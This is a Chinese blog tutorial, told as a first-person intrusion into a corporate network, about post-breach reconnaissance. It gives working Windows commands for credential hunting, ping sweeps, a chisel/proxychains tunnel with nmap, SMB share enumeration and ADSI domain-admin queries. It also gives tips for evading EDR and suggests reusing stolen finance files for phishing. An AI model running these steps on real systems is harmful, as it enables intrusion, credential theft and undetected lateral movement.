打进内网后一脸懵?内网渗透第一步——信息收集决定了你能走多远

发布时间:2026/6/30 4:14:39
打进内网后一脸懵?内网渗透第一步——信息收集决定了你能走多远 上个月的真实场景凌晨两点我拿到了一台边界Web服务器的shell。目标是一家中型企业的外网门户一个存在了七八年的老PHP系统。通过一次SQL注入拿到了RDP用户密码顺利登陆了这台WIndows Server 2012。习惯性ipconfig看了一眼IP——172.16.1.105妥妥的内网段。我心想好挖进去了。但然后呢绝大多数安全从业者都卡在这一步——你突破边界进了内网但面前是一片纯黑的网络海洋。你不知道旁边有哪些机器不知道域控在哪不知道哪些端口开着更不知道哪些机器等你横向移动。这一步叫内网信息收集。90%的内网渗透成败取决于信息收集做得够不够细。第一章为什么要做信息收集很多人觉得我都进去了直接扫呗。但真实场景下扫描行为会产生流量 → 可能触发IDS/EDR告警 → 蓝队把你扼杀在内网门口信息收集的目的不是扫一圈IP列表而是回答以下几个问题我是谁——当前漏洞机的角色、域环境、网络配置旁边是谁——同一个网段有哪些邻居、网关在哪目标是谁——域控在哪、文件服务器在哪、数据库在哪我能去哪——还有哪些网段可以路由到达怎么不被发现——哪些流量会被监控这五个问题前四个回答的是怎么打第五个回答的是怎么活。第二章侦察第一轮——本地信息收集拿到shell后我做了这么几件事。2.1 网络配置摸底不管Windows还是Linux第一件事永远是确认网络拓扑# Windows必查 ipconfig /all route print netstat -ano arp -a# Linux必查 ifconfig ip route netstat -tunlp arp -n为什么要查ARP表机器之间的通信只要在同一个二层网络通信过的IP会短暂留在ARP表里。一个活跃的ARP表基本就等于隔壁有人的机器列表。我在这台Win Server上看到接口: 172.16.1.105 --- 0x0b Internet 地址 物理地址 类型 172.16.1.1 00-50-56-b3-12-aa 动态 ← 网关 172.16.1.10 00-50-56-b3-33-bb 动态 ← 有机器 172.16.1.20 00-50-56-b3-44-cc 动态 ← 有机器 172.16.1.50 00-50-56-b3-55-dd 动态 ← 有机器 172.16.1.100 00-50-56-b3-66-ee 动态 ← 有机器 172.16.2.15 00-50-56-b3-77-ff 动态 ← 跨网段关键发现172.16.1/24网段至少有4台活跃机器而且还有一台172.16.2.15出现在ARP表里——这意味着这台机器的路由表里有通往别的网段的路径或者这台机器本身是多网卡。# 验证是否多网卡 ipconfig /all | findstr IPv4果然这台机器有两块网卡IPv4 Address: 172.16.1.105 IPv4 Address: 172.16.2.105结论这台机器是通往172.16.2/24的跳板机。大部分内网渗透都从这里开始——找连接多网段的机器。2.2 域环境探测确认域环境是信息收集中最关键的一步# 判断是否加域 systeminfo | findstr Domain # 看到的结果 Domain: CORP.LOCAL看到CORP.LOCAL心情瞬间上来了——加域的。这意味着存在域控DCDomain Controller整个内网有一套统一的认证体系。再查域控位置# 查当前登陆的域用户 whoami # 结果 corp\zhangwei# 查域控 nltest /dclget:corp.local返回DC: \\DC01.corp.local IP: 172.16.1.10域控就在隔壁172.16.1.10——和ARP表上看到的那台机器是同一个IP。一个重要的经验拿到域控IP后不要急着打。先做完整的信息收集搞清楚域控上跑了什么服务再做下一步决策。2.3 本地敏感信息搜索信息收集不只是看网络拓扑还包括这台机器本身存储了什么东西# Windows - 搜各类密码相关文件 findstr /si password *.xml *.config *.txt *.ini *.bat *.ps1 # 搜Web配置文件 dir /s *.config *.env # 搜RDP连接记录 dir /a cmdkey /list我在这台机器上找到了一个db_config.bak文件[DB_Connection] server172.16.1.50 databaseERP_MAIN usersa passwordCorpAdmin!2024又一个目标浮出水面——172.16.1.50一台SQL Server数据库。同时cmdkey /list显示当前保存的凭据目标 LegacyGeneric:targetTERMSRV/172.16.1.20 LegacyGeneric:targetTERMSRV/172.16.1.10这台机器上存了到172.16.1.20和172.16.1.10的RDP凭据这些凭据在当前用户的Windows凭据管理器里可以直接用runas /savedcred调用。第三章侦察第二轮——横向存活探测做完本地信息收集手里已经有几个目标IP了。接下来要做一件事——确认哪些机器真正在线上、哪些端口开放。3.1 低噪存活探测第一轮探测不用NMAP因为NMAP的SYN扫描在很多EDR眼里是既定告警。我推荐两种方式# 方式1利用ARP ping二层不产生IP层流量 for /L %i in (1,1,254) do ping -n 1 -w 100 172.16.1.%i | find TTL# 方式2用powershell Test-NetConnection速度更快 1..254 | % { if (Test-Connection -Count 1 -ComputerName 172.16.1.$_ -Quiet) { 172.16.1.$_ is alive} }这种方式产生的流量特征和普通Windows机器的网络操作几乎没区别EDR很难判定是恶意行为。3.2 端口探测用代理转发探测到存活主机后不能拿着攻击机直接扫描——攻击机的IP不在内网段扫不到。正确做法是建立SOCKS代理转发# 在攻击机上执行通过反弹shell的机器做跳板 # 用frp或chisel建立socks隧道 chisel client 跳板机:端口 R:socks然后在本地配置proxychains# /etc/proxychains.conf socks5 127.0.0.1 1080通过代理进行端口扫描proxychains -q nmap -sT -Pn -p 22,80,443,445,3389,3306,1433,8080,8443 \ 172.16.1.10 172.16.1.20 172.16.1.50扫描结果172.16.1.10 → DC01.corp.local PORT STATE SERVICE 53/tcp open domain ← DNS 88/tcp open kerberos ← Kerberos 135/tcp open rpc 139/tcp open netbios 389/tcp open ldap ← LDAP 445/tcp open smb ← SMB 3389/tcp open ms-wbt-server ← RDP 5985/tcp open winrm ← WinRM 172.16.1.20 → CORP-FILE01 PORT STATE SERVICE 135/tcp open rpc 139/tcp open netbios 445/tcp open smb 3389/tcp open ms-wbt-server 172.16.1.50 → CORP-DB01 PORT STATE SERVICE 135/tcp open rpc 1433/tcp open ms-sql-s ← SQL Server 3389/tcp open ms-wbt-server血的教训不要在跳板机上直接运行masscan/NMAP的全端口扫描。我曾见过一个红队兄弟在跳板机上扫全端口被EDR告警15分钟后蓝队就把他踢下线了。扫常用端口就够了全端口扫描是给蓝队送业绩。3.3 SMB共享探测445端口开着的机器是内网渗透的金矿——SMB共享里往往躺着大量敏感文件# 列出目标机器上的所有共享 net view \\172.16.1.20 # 结果 共享名 类型 用途 注释 ------------------------------------------------------------------------------- Backup Disk 备份共享 Data Disk 部门数据 Finance$ Disk 财务数据隐藏共享 IPC$ IPC 远程 IPC共享一多第一个要挂上去的是隐藏共享Finance$# 尝试访问 dir \\172.16.1.20\Finance$如果能访问恭喜你找到金矿了。财务共享里通常有薪资表、对账单这些在钓鱼邮件和社会工程学里是极好的素材。如果提示无权限——正常。这时候不要硬来记下这条共享路径后续拿到域管权限后再来访问。第四章侦察第三轮——域内信息收集这一步是拉开和其他红队差距的地方。大多数人在第二步就急着拿工具开扫了。但真正老练的红队会在这一步做细致的域信息收集。4.1 域用户枚举不触发告警的方式用ADSIAD Service Interface查询不走LDAP的审计log# PowerShell ADSI查询 - 域用户列表 $searcher [ADSISearcher]((objectClassuser)(objectCategoryperson)) $searcher.PageSize 1000 $searcher.FindAll() | ForEach-Object { $user $_.Properties [PSCustomObject]{ UserName $user.samaccountname DisplayName $user.displayname Enabled $user.useraccountcontrol -band 2 -eq 0 LastLogon [datetime]::FromFileTime($($user.lastlogontimestamp[0])) } } | Format-Table -AutoSize这个查询方式的特点是——它用的是当前域用户的权限走的是WMI/ADSI路径不会产生明显的LDAP查询日志。蓝队如果没专门配ADSI审计根本看不到你。4.2 域管理组成员查询找到域管理员是谁等于找到了目标# 查询Domain Admins组 $searcher [ADSISearcher]((objectClassgroup)(cnDomain Admins)) $result $searcher.FindOne() $result.Properties.member | ForEach-Object { $member [ADSI]LDAP://$_ $member.Properties.samaccountname }输出administrator wang_li zhang_wei liu_hai四名域管理员。查他们的登陆习惯# 查看域控的登陆会话 net session \\DC01冷知识net session走的是SMB协议如果域控上SMB服务没有单独审计这行命令它是不会产生告警的。4.3 组策略与OU结构分析OU组织单元结构直接暴露了企业的组织架构这是做横向移动路线规划的重要信息$searcher [ADSISearcher]((objectClassorganizationalUnit)) $searcher.FindAll() | ForEach-Object { $_.Properties.distinguishedname }输出OUDomain Controllers,DCcorp,DClocal OUServers,DCcorp,DClocal OUWorkstations,DCcorp,DClocal OUFinance,OUServers,DCcorp,DClocal OUIT,OUServers,DCcorp,DClocal OUExecutives,DCcorp,DClocal